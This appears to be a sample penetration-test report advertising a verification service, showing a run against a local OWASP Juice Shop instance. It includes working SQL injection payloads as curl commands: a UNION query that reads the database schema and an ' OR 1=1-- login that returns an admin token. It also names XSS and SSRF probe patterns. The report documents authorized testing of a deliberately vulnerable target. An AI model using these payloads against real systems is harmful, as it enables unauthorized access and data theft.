// SAMPLE REPORT · real run · public target (OWASP Juice Shop, vulnerable by design)
real run, unchanged — generated from the run artifacts.
This is a real verification run on a target that is public and vulnerable by design. Every finding below fired 2× and every negative control — the same probe with the payload removed — came back clean. That differential is the finding, and each one ships with its PoC as a curl your reviewer can copy, paste, and re-run, plus the raw request and response it produced.
The run attacked a local, throwaway instance of the public target — the image and ports below are the ones declared in the run's own target metadata. Stand it up, then copy, paste and re-run any curl on this page against it:
docker run --rm -p 127.0.0.1:31000:3000 bkimminich/juice-shop@sha256:73c53fbf442e8337b3ea3d98c7e8550308854701ebdfce4cc39768f36b75430e
Expected results against a fresh instance — the same signal each finding's evidence artifact recorded:
FL-03ac49d787bd · GET /rest/products/search?q — HTTP 500 with a SQLite error in the body.FL-7156550fb2af · POST /rest/user/login — HTTP 200 with a session token in the JSON body (authentication.token).GET /rest/products/search?q — the search parameter is concatenated directly into the SQL query.CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H500 fired 2×; the supplementary verification below evidences the confidentiality dimension (arbitrary read). Integrity and availability are not demonstrated at this injection point: the evidenced vector (C:H/I:N/A:N) scores 7.5 HIGH; the run's deterministic grade (CVSS 9.8) is the class ceiling — both are disclosed, and neither is hidden.500 — observed: 500. Fired 2× in independent executions; the benign-input control (same probe, payload removed) did not fire it.curl -s --path-as-is "http://127.0.0.1:31000/rest/products/search?q=zzq%27%29%29%20UNION%20SELECT%209999%20as%20id%2Cname%20as%20description%2Csql%20as%20name%2C1%20as%20price%2C0%20as%20deluxePrice%2C%27i%27%20as%20image%2C%27t%27%20as%20imageThumb%2CNULL%20as%20createdAt%2CNULL%20as%20updatedAt%20FROM%20sqlite_master%20LIMIT%203--%20"
Addresses · BasketItems · Baskets (rows extracted from sqlite_master)curl -i --path-as-is "http://127.0.0.1:31000/rest/products/search?q=%27%20OR%201%3D1--"
GET http://127.0.0.1:31000/rest/products/search?q=' OR 1=1--
status 500 · content-type: text/html; charset=utf-8
<html>
<head>
<meta charset='utf-8'>
<title>Error: SQLITE_ERROR: incomplete input</title>
<style>* {
margin: 0;
padding: 0;
outline: 0;
}
body {
padding: 80px 100px;
font: 13px "Helvetica Neue", "Lucida Grande", "Arial";
background: #ECE9E9 -webkit-gradient(linear, 0% 0%, 0% 100%, from(#fff), to(#ECE9E9));
background: #ECE9E9 -moz-linear-gradient(top, #fff, #ECE9E9);
… [truncated — 942 chars shown after redaction]
POST /rest/user/login — the email field is concatenated into the authentication query — the injected credential authenticates as the admin account.CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:Htoken|SQL|SQLITE_ERROR|System error — observed: authentication. Fired 2× in independent executions; the benign-input control (same probe, payload removed) did not fire it.curl -i -X POST -H 'Content-Type: application/json' -d '{"email": "'\'' OR 1=1--", "password": "x"}' --path-as-is "http://127.0.0.1:31000/rest/user/login"
POST http://127.0.0.1:31000/rest/user/login
Content-Type: application/json
{"email": "' OR 1=1--", "password": "x"}
status 200 · content-type: application/json; charset=utf-8
{"authentication":{"token":"[REDACTED-JWT]","bid":1,"umail":"admin@juice-sh.op"}}
Every hypothesis that entered testing is listed with its endpoint, its declared fault signal, how many attempts it consumed and its verdict, with the reason the run recorded for it. Hypothesis IDs are minted per authoring candidate: this run's IDs reach -026 while the ledger holds 11 — candidates that never produced an executable hypothesis are not in the ledger, and every hypothesis that entered testing is listed, nothing dropped.
| hypothesis | class | endpoint | fault signal | attempts | verdict |
|---|---|---|---|---|---|
| H-7c30ed04-018 | xss_reflected | GET /rest/products/search?q | body-pattern <script>alert\(1\)</script> | 9 | ATTACKED-AND-HELD9 attempts — attacked in informed rounds; the declared signal never fired (0/2 reproductions) |
| H-7c30ed04-003 | auth_bypass | POST /rest/user/login | body-pattern "token"|authentication | 10 | ADJUDICATED OUT10 attempts — no auth evidence at this endpoint — the forged credential answered the same as no credential; reclassified out, not counted as resistance |
| H-7c30ed04-004 | sqli | POST /rest/user/login | body-pattern token|SQL|SQLITE_ERROR|System error | 1 | VALIDATED → FINDINGFL-7156550fb2af |
| H-7c30ed04-006 | bola | GET /rest/basket/:id | body-pattern Products|items|data|email | 11 | ATTACKED-AND-HELD11 attempts — attacked in informed rounds; the declared signal never fired (0/2 reproductions) |
| H-7c30ed04-023 | ssrf | GET /redirect?to | body-pattern evil\d+\.example\.com | 8 | INCONCLUSIVE8 attempts — the signal matched the request's own echoed string, not a server-side fetch |
| H-7c30ed04-019 | sqli | GET /rest/products/search?q | http-status 500 | 4 | VALIDATED → FINDINGFL-03ac49d787bd |
| H-7c30ed04-024 | bola | PUT /api/Users/:id | http-status 200 | 8 | ATTACKED-AND-HELD8 attempts — attacked in informed rounds; the declared signal never fired (0/2 reproductions) |
| H-7c30ed04-008 | bola | GET /rest/track-order/:id | body-pattern email|order|ETA|address|Products | 11 | INCONCLUSIVE11 attempts — the negative control fired the signal too — ambiguous signal, not a held resistance |
| H-7c30ed04-017 | sqli | GET /rest/track-order/:id | body-pattern SQLITE|error|Order|email | 3 | VALIDATED → ADJUDICATED OUTadjudication verdict: refuted — the observed match was the probe's own payload echo; excluded from findings |
| H-7c30ed04-026 | bola | POST /rest/basket/1/checkout | body-pattern confirmation|order|success | 9 | ATTACKED-AND-HELD9 attempts — attacked in informed rounds; the declared signal never fired (0/2 reproductions) |
| H-7c30ed04-009 | auth_bypass | POST /rest/basket/1/checkout | http-status 200, 201, 202 | 11 | ATTACKED-AND-HELD11 attempts — attacked in informed rounds; the declared signal never fired (0/2 reproductions) |
| 3 validated (→ 2 findings + 1 adjudicated out) + 8 dead (5 attacked-and-held, 1 adjudicated out, 2 inconclusive) = 11 raised — the arithmetic closes on this page. | |||||
These were attacked with real PoCs — 48 attempts across up to 3 informed rounds each — and their declared fault signal never fired. Held is a verdict, not a budget cut: each round learns from the previous failures before it gives up.
GET /rest/products/search?qbody-pattern signal9 attemptsGET /rest/basket/:idbody-pattern signal11 attemptsPUT /api/Users/:idhttp-status signal8 attemptsPOST /rest/basket/1/checkoutbody-pattern signal9 attemptsPOST /rest/basket/1/checkouthttp-status signal11 attemptsA one-file HTML report exactly like this one (no login), the raw request/response evidence per execution cited by sha256, a one-page attack attestation (PDF) listing what was attacked and held — the declared fault signal did not fire — plus the verdict counts and the run's fingerprint, remediation guidance per finding, and the post-fix retest — one full pass requested within 30 days of delivery (same scope); a contested finding is re-tested until it closes.
One authorized external target. No credentials, nothing to install. Findings that reproduce — or they don't ship.
Request Verify External → engagements@naxxan.ai